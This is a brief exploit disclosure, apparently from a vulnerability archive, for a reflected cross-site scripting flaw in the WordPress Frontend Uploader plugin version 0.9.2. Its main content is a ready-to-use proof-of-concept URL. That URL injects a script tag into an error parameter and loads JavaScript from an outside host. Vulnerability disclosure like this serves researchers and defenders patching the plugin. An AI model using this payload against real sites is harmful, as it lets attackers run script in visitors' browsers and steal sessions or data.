Exploit Title:  Wordpress Frontend Uploader Cross Site Scripting(XSS)
Software Link: https://wordpress.org/plugins/frontend-uploader/
Author: SECUPENT 
Website:www.secupent.com
Email: research{at}secupent{dot}com
Date: 27-12-2014
Version: 0.9.2


Exploit :

http://TARGET/[forntEndUploaderPage]=59&errors[fu-disallowed-mime-type][0][name]=XSS 

Example(p0c): 
http://EXAMPLE/wordpress/?page_id=59&&errors[fu-disallowed-mime-type][0][name]=%3CSCRIPT%20SRC=http://ha.ckers.org/xss.js?%3C%20B%20%3E

Screenshot: 
Link: http://secupent.com/exploit/images/frontend-uploader-xss.png
Mirror: http://vulnerability.io/exploit/images/frontend-uploader-xss.png

Special Thanks: vulnerability.io, pentester.io, osvdb.org, exploit-db.com, 1337day.com, cxsecurity.com, packetstormsecurity.com and all other exploit archives, hackers and security researchers.